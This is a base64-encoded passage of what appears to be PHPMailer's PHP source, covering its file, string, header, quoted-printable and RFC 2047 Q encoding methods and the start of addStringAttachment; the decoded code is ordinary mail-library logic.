pbmcgJGVuY29kaW5nIFRoZSBlbmNvZGluZyB0byB1c2U7IG9uZSBvZiAnYmFzZTY0JywgJzdiaXQnLCAnOGJpdCcsICdiaW5hcnknLCAncXVvdGVkLXByaW50YWJsZScKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGVuY29kZUZpbGUoJHBhdGgsICRlbmNvZGluZyA9ICdiYXNlNjQnKQogICAgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGlmICghc2VsZjo6aXNQZXJtaXR0ZWRQYXRoKCRwYXRoKSBvciAhZmlsZV9leGlzdHMoJHBhdGgpKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdmaWxlX29wZW4nKSAuICRwYXRoLCBzZWxmOjpTVE9QX0NPTlRJTlVFKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkbWFnaWNfcXVvdGVzID0gZmFsc2U7CiAgICAgICAgICAgIGlmKCB2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc3LjQuMCcsICc8JykgKSB7CiAgICAgICAgICAgICAgICAkbWFnaWNfcXVvdGVzID0gZ2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRtYWdpY19xdW90ZXMpIHsKICAgICAgICAgICAgICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjMuMCcsICc8JykpIHsKICAgICAgICAgICAgICAgICAgICBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoZmFsc2UpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAvL0RvZXNuJ3QgZXhpc3QgaW4gUEhQIDUuNCwgYnV0IHdlIGRvbid0IG5lZWQgdG8gY2hlY2sgYmVjYXVzZQogICAgICAgICAgICAgICAgICAgIC8vZ2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lIGFsd2F5cyByZXR1cm5zIGZhbHNlIGluIDUuNCsKICAgICAgICAgICAgICAgICAgICAvL3NvIGl0IHdpbGwgbmV2ZXIgZ2V0IGhlcmUKICAgICAgICAgICAgICAgICAgICBpbmlfc2V0KCdtYWdpY19xdW90ZXNfcnVudGltZScsIGZhbHNlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkZmlsZV9idWZmZXIgPSBmaWxlX2dldF9jb250ZW50cygkcGF0aCk7CiAgICAgICAgICAgICRmaWxlX2J1ZmZlciA9ICR0aGlzLT5lbmNvZGVTdHJpbmcoJGZpbGVfYnVmZmVyLCAkZW5jb2RpbmcpOwogICAgICAgICAgICBpZiAoJG1hZ2ljX3F1b3RlcykgewogICAgICAgICAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMy4wJywgJzwnKSkgewogICAgICAgICAgICAgICAgICAgIHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgkbWFnaWNfcXVvdGVzKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgaW5pX3NldCgnbWFnaWNfcXVvdGVzX3J1bnRpbWUnLCAkbWFnaWNfcXVvdGVzKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gJGZpbGVfYnVmZmVyOwogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICByZXR1cm4gJyc7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogRW5jb2RlIGEgc3RyaW5nIGluIHJlcXVlc3RlZCBmb3JtYXQuCiAgICAgKiBSZXR1cm5zIGFuIGVtcHR5IHN0cmluZyBvbiBmYWlsdXJlLgogICAgICogQHBhcmFtIHN0cmluZyAkc3RyIFRoZSB0ZXh0IHRvIGVuY29kZQogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcgVGhlIGVuY29kaW5nIHRvIHVzZTsgb25lIG9mICdiYXNlNjQnLCAnN2JpdCcsICc4Yml0JywgJ2JpbmFyeScsICdxdW90ZWQtcHJpbnRhYmxlJwogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBlbmNvZGVTdHJpbmcoJHN0ciwgJGVuY29kaW5nID0gJ2Jhc2U2NCcpCiAgICB7CiAgICAgICAgJGVuY29kZWQgPSAnJzsKICAgICAgICBzd2l0Y2ggKHN0cnRvbG93ZXIoJGVuY29kaW5nKSkgewogICAgICAgICAgICBjYXNlICdiYXNlNjQnOgogICAgICAgICAgICAgICAgJGVuY29kZWQgPSBjaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKCRzdHIpLCA3NiwgJHRoaXMtPkxFKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICc3Yml0JzoKICAgICAgICAgICAgY2FzZSAnOGJpdCc6CiAgICAgICAgICAgICAgICAkZW5jb2RlZCA9ICR0aGlzLT5maXhFT0woJHN0cik7CiAgICAgICAgICAgICAgICAvLyBNYWtlIHN1cmUgaXQgZW5kcyB3aXRoIGEgbGluZSBicmVhawogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkZW5jb2RlZCwgLShzdHJsZW4oJHRoaXMtPkxFKSkpICE9ICR0aGlzLT5MRSkgewogICAgICAgICAgICAgICAgICAgICRlbmNvZGVkIC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdiaW5hcnknOgogICAgICAgICAgICAgICAgJGVuY29kZWQgPSAkc3RyOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ3F1b3RlZC1wcmludGFibGUnOgogICAgICAgICAgICAgICAgJGVuY29kZWQgPSAkdGhpcy0+ZW5jb2RlUVAoJHN0cik7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygnZW5jb2RpbmcnKSAuICRlbmNvZGluZyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRlbmNvZGVkOwogICAgfQoKICAgIC8qKgogICAgICogRW5jb2RlIGEgaGVhZGVyIHN0cmluZyBvcHRpbWFsbHkuCiAgICAgKiBQaWNrcyBzaG9ydGVzdCBvZiBRLCBCLCBxdW90ZWQtcHJpbnRhYmxlIG9yIG5vbmUuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc3RyCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwb3NpdGlvbgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZUhlYWRlcigkc3RyLCAkcG9zaXRpb24gPSAndGV4dCcpCiAgICB7CiAgICAgICAgJG1hdGNoY291bnQgPSAwOwogICAgICAgIHN3aXRjaCAoc3RydG9sb3dlcigkcG9zaXRpb24pKSB7CiAgICAgICAgICAgIGNhc2UgJ3BocmFzZSc6CiAgICAgICAgICAgICAgICBpZiAoIXByZWdfbWF0Y2goJy9bXDIwMC1cMzc3XS8nLCAkc3RyKSkgewogICAgICAgICAgICAgICAgICAgIC8vIENhbid0IHVzZSBhZGRzbGFzaGVzIGFzIHdlIGRvbid0IGtub3cgdGhlIHZhbHVlIG9mIG1hZ2ljX3F1b3Rlc19zeWJhc2UKICAgICAgICAgICAgICAgICAgICAkZW5jb2RlZCA9IGFkZGNzbGFzaGVzKCRzdHIsICJcMC4uXDM3XDE3N1xcXCIiKTsKICAgICAgICAgICAgICAgICAgICBpZiAoKCRzdHIgPT0gJGVuY29kZWQpICYmICFwcmVnX21hdGNoKCcvW15BLVphLXowLTkhIyQlJlwnKitcLz0\/Xl9ge3x9fiAtXS8nLCAkc3RyKSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCRlbmNvZGVkKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCJcIiRlbmNvZGVkXCIiKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkbWF0Y2hjb3VudCA9IHByZWdfbWF0Y2hfYWxsKCcvW15cMDQwXDA0MVwwNDMtXDEzM1wxMzUtXDE3Nl0vJywgJHN0ciwgJG1hdGNoZXMpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIC8qKiBAbm9pbnNwZWN0aW9uIFBocE1pc3NpbmdCcmVha1N0YXRlbWVudEluc3BlY3Rpb24gKi8KICAgICAgICAgICAgY2FzZSAnY29tbWVudCc6CiAgICAgICAgICAgICAgICAkbWF0Y2hjb3VudCA9IHByZWdfbWF0Y2hfYWxsKCcvWygpIl0vJywgJHN0ciwgJG1hdGNoZXMpOwogICAgICAgICAgICAgICAgLy8gSW50ZW50aW9uYWwgZmFsbC10aHJvdWdoCiAgICAgICAgICAgIGNhc2UgJ3RleHQnOgogICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgJG1hdGNoY291bnQgKz0gcHJlZ19tYXRjaF9hbGwoJy9bXDAwMC1cMDEwXDAxM1wwMTRcMDE2LVwwMzdcMTc3LVwzNzddLycsICRzdHIsICRtYXRjaGVzKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KCiAgICAgICAgLy9UaGVyZSBhcmUgbm8gY2hhcnMgdGhhdCBuZWVkIGVuY29kaW5nCiAgICAgICAgaWYgKCRtYXRjaGNvdW50ID09IDApIHsKICAgICAgICAgICAgcmV0dXJuICgkc3RyKTsKICAgICAgICB9CgogICAgICAgICRtYXhsZW4gPSA3NSAtIDcgLSBzdHJsZW4oJHRoaXMtPkNoYXJTZXQpOwogICAgICAgIC8vIFRyeSB0byBzZWxlY3QgdGhlIGVuY29kaW5nIHdoaWNoIHNob3VsZCBwcm9kdWNlIHRoZSBzaG9ydGVzdCBvdXRwdXQKICAgICAgICBpZiAoJG1hdGNoY291bnQgPiBzdHJsZW4oJHN0cikgLyAzKSB7CiAgICAgICAgICAgIC8vIE1vcmUgdGhhbiBhIHRoaXJkIG9mIHRoZSBjb250ZW50IHdpbGwgbmVlZCBlbmNvZGluZywgc28gQiBlbmNvZGluZyB3aWxsIGJlIG1vc3QgZWZmaWNpZW50CiAgICAgICAgICAgICRlbmNvZGluZyA9ICdCJzsKICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbWJfc3RybGVuJykgJiYgJHRoaXMtPmhhc011bHRpQnl0ZXMoJHN0cikpIHsKICAgICAgICAgICAgICAgIC8vIFVzZSBhIGN1c3RvbSBmdW5jdGlvbiB3aGljaCBjb3JyZWN0bHkgZW5jb2RlcyBhbmQgd3JhcHMgbG9uZwogICAgICAgICAgICAgICAgLy8gbXVsdGlieXRlIHN0cmluZ3Mgd2l0aG91dCBicmVha2luZyBsaW5lcyB3aXRoaW4gYSBjaGFyYWN0ZXIKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gJHRoaXMtPmJhc2U2NEVuY29kZVdyYXBNQigkc3RyLCAiXG4iKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZSgkc3RyKTsKICAgICAgICAgICAgICAgICRtYXhsZW4gLT0gJG1heGxlbiAlIDQ7CiAgICAgICAgICAgICAgICAkZW5jb2RlZCA9IHRyaW0oY2h1bmtfc3BsaXQoJGVuY29kZWQsICRtYXhsZW4sICJcbiIpKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRlbmNvZGluZyA9ICdRJzsKICAgICAgICAgICAgJGVuY29kZWQgPSAkdGhpcy0+ZW5jb2RlUSgkc3RyLCAkcG9zaXRpb24pOwogICAgICAgICAgICAkZW5jb2RlZCA9ICR0aGlzLT53cmFwVGV4dCgkZW5jb2RlZCwgJG1heGxlbiwgdHJ1ZSk7CiAgICAgICAgICAgICRlbmNvZGVkID0gc3RyX3JlcGxhY2UoJz0nIC4gc2VsZjo6Q1JMRiwgIlxuIiwgdHJpbSgkZW5jb2RlZCkpOwogICAgICAgIH0KCiAgICAgICAgJGVuY29kZWQgPSBwcmVnX3JlcGxhY2UoJy9eKC4qKSQvbScsICcgPT8nIC4gJHRoaXMtPkNoYXJTZXQgLiAiPyRlbmNvZGluZz9cXDE\/PSIsICRlbmNvZGVkKTsKICAgICAgICAkZW5jb2RlZCA9IHRyaW0oc3RyX3JlcGxhY2UoIlxuIiwgJHRoaXMtPkxFLCAkZW5jb2RlZCkpOwoKICAgICAgICByZXR1cm4gJGVuY29kZWQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBDaGVjayBpZiBhIHN0cmluZyBjb250YWlucyBtdWx0aS1ieXRlIGNoYXJhY3RlcnMuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc3RyIG11bHRpLWJ5dGUgdGV4dCB0byB3cmFwIGVuY29kZQogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBoYXNNdWx0aUJ5dGVzKCRzdHIpCiAgICB7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbWJfc3RybGVuJykpIHsKICAgICAgICAgICAgcmV0dXJuIChzdHJsZW4oJHN0cikgPiBtYl9zdHJsZW4oJHN0ciwgJHRoaXMtPkNoYXJTZXQpKTsKICAgICAgICB9IGVsc2UgeyAvLyBBc3N1bWUgbm8gbXVsdGlieXRlcyAod2UgY2FuJ3QgaGFuZGxlIHdpdGhvdXQgbWJzdHJpbmcgZnVuY3Rpb25zIGFueXdheSkKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIERvZXMgYSBzdHJpbmcgY29udGFpbiBhbnkgOC1iaXQgY2hhcnMgKGluIGFueSBjaGFyc2V0KT8KICAgICAqIEBwYXJhbSBzdHJpbmcgJHRleHQKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaGFzOGJpdENoYXJzKCR0ZXh0KQogICAgewogICAgICAgIHJldHVybiAoYm9vbGVhbilwcmVnX21hdGNoKCcvW1x4ODAtXHhGRl0vJywgJHRleHQpOwogICAgfQoKICAgIC8qKgogICAgICogRW5jb2RlIGFuZCB3cmFwIGxvbmcgbXVsdGlieXRlIHN0cmluZ3MgZm9yIG1haWwgaGVhZGVycwogICAgICogd2l0aG91dCBicmVha2luZyBsaW5lcyB3aXRoaW4gYSBjaGFyYWN0ZXIuCiAgICAgKiBBZGFwdGVkIGZyb20gYSBmdW5jdGlvbiBieSBwYXJhdm9pZAogICAgICogQGxpbmsgaHR0cDovL3d3dy5waHAubmV0L21hbnVhbC9lbi9mdW5jdGlvbi5tYi1lbmNvZGUtbWltZWhlYWRlci5waHAjNjAyODMKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIgbXVsdGktYnl0ZSB0ZXh0IHRvIHdyYXAgZW5jb2RlCiAgICAgKiBAcGFyYW0gc3RyaW5nICRsaW5lYnJlYWsgc3RyaW5nIHRvIHVzZSBhcyBsaW5lZmVlZC9lbmQtb2YtbGluZQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGJhc2U2NEVuY29kZVdyYXBNQigkc3RyLCAkbGluZWJyZWFrID0gbnVsbCkKICAgIHsKICAgICAgICAkc3RhcnQgPSAnPT8nIC4gJHRoaXMtPkNoYXJTZXQgLiAnP0I\/JzsKICAgICAgICAkZW5kID0gJz89JzsKICAgICAgICAkZW5jb2RlZCA9ICcnOwogICAgICAgIGlmICgkbGluZWJyZWFrID09PSBudWxsKSB7CiAgICAgICAgICAgICRsaW5lYnJlYWsgPSAkdGhpcy0+TEU7CiAgICAgICAgfQoKICAgICAgICAkbWJfbGVuZ3RoID0gbWJfc3RybGVuKCRzdHIsICR0aGlzLT5DaGFyU2V0KTsKICAgICAgICAvLyBFYWNoIGxpbmUgbXVzdCBoYXZlIGxlbmd0aCA8PSA3NSwgaW5jbHVkaW5nICRzdGFydCBhbmQgJGVuZAogICAgICAgICRsZW5ndGggPSA3NSAtIHN0cmxlbigkc3RhcnQpIC0gc3RybGVuKCRlbmQpOwogICAgICAgIC8vIEF2ZXJhZ2UgbXVsdGktYnl0ZSByYXRpbwogICAgICAgICRyYXRpbyA9ICRtYl9sZW5ndGggLyBzdHJsZW4oJHN0cik7CiAgICAgICAgLy8gQmFzZTY0IGhhcyBhIDQ6MyByYXRpbwogICAgICAgICRhdmdMZW5ndGggPSBmbG9vcigkbGVuZ3RoICogJHJhdGlvICogLjc1KTsKCiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgJG1iX2xlbmd0aDsgJGkgKz0gJG9mZnNldCkgewogICAgICAgICAgICAkbG9va0JhY2sgPSAwOwogICAgICAgICAgICBkbyB7CiAgICAgICAgICAgICAgICAkb2Zmc2V0ID0gJGF2Z0xlbmd0aCAtICRsb29rQmFjazsKICAgICAgICAgICAgICAgICRjaHVuayA9IG1iX3N1YnN0cigkc3RyLCAkaSwgJG9mZnNldCwgJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICAgICAgICAgJGNodW5rID0gYmFzZTY0X2VuY29kZSgkY2h1bmspOwogICAgICAgICAgICAgICAgJGxvb2tCYWNrKys7CiAgICAgICAgICAgIH0gd2hpbGUgKHN0cmxlbigkY2h1bmspID4gJGxlbmd0aCk7CiAgICAgICAgICAgICRlbmNvZGVkIC49ICRjaHVuayAuICRsaW5lYnJlYWs7CiAgICAgICAgfQoKICAgICAgICAvLyBDaG9tcCB0aGUgbGFzdCBsaW5lZmVlZAogICAgICAgICRlbmNvZGVkID0gc3Vic3RyKCRlbmNvZGVkLCAwLCAtc3RybGVuKCRsaW5lYnJlYWspKTsKICAgICAgICByZXR1cm4gJGVuY29kZWQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbmNvZGUgYSBzdHJpbmcgaW4gcXVvdGVkLXByaW50YWJsZSBmb3JtYXQuCiAgICAgKiBBY2NvcmRpbmcgdG8gUkZDMjA0NSBzZWN0aW9uIDYuNy4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcgVGhlIHRleHQgdG8gZW5jb2RlCiAgICAgKiBAcGFyYW0gaW50ZWdlciAkbGluZV9tYXggTnVtYmVyIG9mIGNoYXJzIGFsbG93ZWQgb24gYSBsaW5lIGJlZm9yZSB3cmFwcGluZwogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqIEBsaW5rIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vZnVuY3Rpb24ucXVvdGVkLXByaW50YWJsZS1kZWNvZGUucGhwIzg5NDE3IEFkYXB0ZWQgZnJvbSB0aGlzIGNvbW1lbnQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZVFQKCRzdHJpbmcsICRsaW5lX21heCA9IDc2KQogICAgewogICAgICAgIC8vIFVzZSBuYXRpdmUgZnVuY3Rpb24gaWYgaXQncyBhdmFpbGFibGUgKD49IFBIUDUuMykKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdxdW90ZWRfcHJpbnRhYmxlX2VuY29kZScpKSB7CiAgICAgICAgICAgIHJldHVybiBxdW90ZWRfcHJpbnRhYmxlX2VuY29kZSgkc3RyaW5nKTsKICAgICAgICB9CiAgICAgICAgLy8gRmFsbCBiYWNrIHRvIGEgcHVyZSBQSFAgaW1wbGVtZW50YXRpb24KICAgICAgICAkc3RyaW5nID0gc3RyX3JlcGxhY2UoCiAgICAgICAgICAgIGFycmF5KCclMjAnLCAnJTBEJTBBLicsICclMEQlMEEnLCAnJScpLAogICAgICAgICAgICBhcnJheSgnICcsICJcclxuPTJFIiwgIlxyXG4iLCAnPScpLAogICAgICAgICAgICByYXd1cmxlbmNvZGUoJHN0cmluZykKICAgICAgICApOwogICAgICAgIHJldHVybiBwcmVnX3JlcGxhY2UoJy9bXlxyXG5deycgLiAoJGxpbmVfbWF4IC0gMykgLiAnfVtePVxyXG5dezJ9LycsICIkMD1cclxuIiwgJHN0cmluZyk7CiAgICB9CgogICAgLyoqCiAgICAgKiBCYWNrd2FyZCBjb21wYXRpYmlsaXR5IHdyYXBwZXIgZm9yIGFuIG9sZCBRUCBlbmNvZGluZyBmdW5jdGlvbiB0aGF0IHdhcyByZW1vdmVkLgogICAgICogQHNlZSBQSFBNYWlsZXI6OmVuY29kZVFQKCkKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcKICAgICAqIEBwYXJhbSBpbnRlZ2VyICRsaW5lX21heAogICAgICogQHBhcmFtIGJvb2xlYW4gJHNwYWNlX2NvbnYKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKiBAZGVwcmVjYXRlZCBVc2UgZW5jb2RlUVAgaW5zdGVhZC4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZVFQcGhwKAogICAgICAgICRzdHJpbmcsCiAgICAgICAgJGxpbmVfbWF4ID0gNzYsCiAgICAgICAgLyoqIEBub2luc3BlY3Rpb24gUGhwVW51c2VkUGFyYW1ldGVySW5zcGVjdGlvbiAqLyAkc3BhY2VfY29udiA9IGZhbHNlCiAgICApIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmVuY29kZVFQKCRzdHJpbmcsICRsaW5lX21heCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbmNvZGUgYSBzdHJpbmcgdXNpbmcgUSBlbmNvZGluZy4KICAgICAqIEBsaW5rIGh0dHA6Ly90b29scy5pZXRmLm9yZy9odG1sL3JmYzIwNDcKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0ciB0aGUgdGV4dCB0byBlbmNvZGUKICAgICAqIEBwYXJhbSBzdHJpbmcgJHBvc2l0aW9uIFdoZXJlIHRoZSB0ZXh0IGlzIGdvaW5nIHRvIGJlIHVzZWQsIHNlZSB0aGUgUkZDIGZvciB3aGF0IHRoYXQgbWVhbnMKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZW5jb2RlUSgkc3RyLCAkcG9zaXRpb24gPSAndGV4dCcpCiAgICB7CiAgICAgICAgLy8gVGhlcmUgc2hvdWxkIG5vdCBiZSBhbnkgRU9MIGluIHRoZSBzdHJpbmcKICAgICAgICAkcGF0dGVybiA9ICcnOwogICAgICAgICRlbmNvZGVkID0gc3RyX3JlcGxhY2UoYXJyYXkoIlxyIiwgIlxuIiksICcnLCAkc3RyKTsKICAgICAgICBzd2l0Y2ggKHN0cnRvbG93ZXIoJHBvc2l0aW9uKSkgewogICAgICAgICAgICBjYXNlICdwaHJhc2UnOgogICAgICAgICAgICAgICAgLy8gUkZDIDIwNDcgc2VjdGlvbiA1LjMKICAgICAgICAgICAgICAgICRwYXR0ZXJuID0gJ15BLVphLXowLTkhKitcLyAtJzsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAvKiogQG5vaW5zcGVjdGlvbiBQaHBNaXNzaW5nQnJlYWtTdGF0ZW1lbnRJbnNwZWN0aW9uICovCiAgICAgICAgICAgIGNhc2UgJ2NvbW1lbnQnOgogICAgICAgICAgICAgICAgLy8gUkZDIDIwNDcgc2VjdGlvbiA1LjIKICAgICAgICAgICAgICAgICRwYXR0ZXJuID0gJ1woXCkiJzsKICAgICAgICAgICAgICAgIC8vIGludGVudGlvbmFsIGZhbGwtdGhyb3VnaAogICAgICAgICAgICAgICAgLy8gZm9yIHRoaXMgcmVhc29uIHdlIGJ1aWxkIHRoZSAkcGF0dGVybiB3aXRob3V0IGluY2x1ZGluZyBkZWxpbWl0ZXJzIGFuZCBbXQogICAgICAgICAgICBjYXNlICd0ZXh0JzoKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIC8vIFJGQyAyMDQ3IHNlY3Rpb24gNS4xCiAgICAgICAgICAgICAgICAvLyBSZXBsYWNlIGV2ZXJ5IGhpZ2ggYXNjaWksIGNvbnRyb2wsID0sID8gYW5kIF8gY2hhcmFjdGVycwogICAgICAgICAgICAgICAgJHBhdHRlcm4gPSAnXDAwMC1cMDExXDAxM1wwMTRcMDE2LVwwMzdcMDc1XDA3N1wxMzdcMTc3LVwzNzcnIC4gJHBhdHRlcm47CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgJG1hdGNoZXMgPSBhcnJheSgpOwogICAgICAgIGlmIChwcmVnX21hdGNoX2FsbCgiL1t7JHBhdHRlcm59XS8iLCAkZW5jb2RlZCwgJG1hdGNoZXMpKSB7CiAgICAgICAgICAgIC8vIElmIHRoZSBzdHJpbmcgY29udGFpbnMgYW4gJz0nLCBtYWtlIHN1cmUgaXQncyB0aGUgZmlyc3QgdGhpbmcgd2UgcmVwbGFjZQogICAgICAgICAgICAvLyBzbyBhcyB0byBhdm9pZCBkb3VibGUtZW5jb2RpbmcKICAgICAgICAgICAgJGVxa2V5ID0gYXJyYXlfc2VhcmNoKCc9JywgJG1hdGNoZXNbMF0pOwogICAgICAgICAgICBpZiAoZmFsc2UgIT09ICRlcWtleSkgewogICAgICAgICAgICAgICAgdW5zZXQoJG1hdGNoZXNbMF1bJGVxa2V5XSk7CiAgICAgICAgICAgICAgICBhcnJheV91bnNoaWZ0KCRtYXRjaGVzWzBdLCAnPScpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5X3VuaXF1ZSgkbWF0Y2hlc1swXSkgYXMgJGNoYXIpIHsKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gc3RyX3JlcGxhY2UoJGNoYXIsICc9JyAuIHNwcmludGYoJyUwMlgnLCBvcmQoJGNoYXIpKSwgJGVuY29kZWQpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIC8vIFJlcGxhY2UgZXZlcnkgc3BhY2VzIHRvIF8gKG1vcmUgcmVhZGFibGUgdGhhbiA9MjApCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCcgJywgJ18nLCAkZW5jb2RlZCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSBzdHJpbmcgb3IgYmluYXJ5IGF0dGFjaG1lbnQgKG5vbi1maWxlc3lzdGVtKS4KICAgICAqIFRoaXMgbWV0aG9kIGNhbiBiZSB1c2VkIHRvIGF0dGFjaCBhc2NpaSBvciBiaW5hcnkgZGF0YSwKICAgICAqIHN1Y2ggYXMgYSBCTE9CIHJlY29yZCBmcm9tIGEgZGF0YWJhc2UuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcgU3RyaW5nIGF0dGFjaG1lbnQgZGF0YS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lIE5hbWUgb2YgdGhlIGF0dGFjaG1lbnQuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyBGaWxlIGVuY29kaW5nIChzZWUgJEVuY29kaW5nKS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgRmlsZSBleHRlbnNpb24gKE1JTUUpIHR5cGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRkaXNwb3NpdGlvbiBEaXNwb3NpdGlvbiB0byB1c2UKICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkU3RyaW5nQXR0YWNobWVudCgKICAgICAgICAkc3RyaW5nLAogICAgICAgICRmaWxlbmFtZSwKICAgICAgICAkZW5jb2RpbmcgPSAnYmFzZTY0JywKICAgICAgICAkdHlwZSA9ICcnLAogICAgICAgICRkaXNwb3NpdGlvbiA9ICdhdHRhY2htZW50JwogICAgKSB7CiAgICAgICAgLy8gSWYgYSBNSU1FIHR5cGUgaXMgbm90IHNwZWNpZmllZCwgdHJ5IHRvIHdvcmsgaXQgb3V0IGZyb20gdGhlIGZpbGUgbmFtZQogICAgICAgIGlmICgkdHlwZSA9PSAnJykgewogICAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRmaWxlbmFtZSk7CiAgICAgICAgfQogICAgICAgIC8vIEFwcGVuZCB0byAkYXR0YWNobWVudCBhcnJheQogICAgICAgICR0aGlzLT5hdHRhY2htZW50W10gPSBhcnJheSgKICAgICAgICAgICAgMCA9PiAkc3RyaW5nLAogICAgICAgICAgICAxID0+ICRmaWxlbmFtZSwKICAgICAgICAgICAgMiA9PiBiYXNlbmFtZSgkZmlsZW5hbWUpLAogICAgICAgICAgIC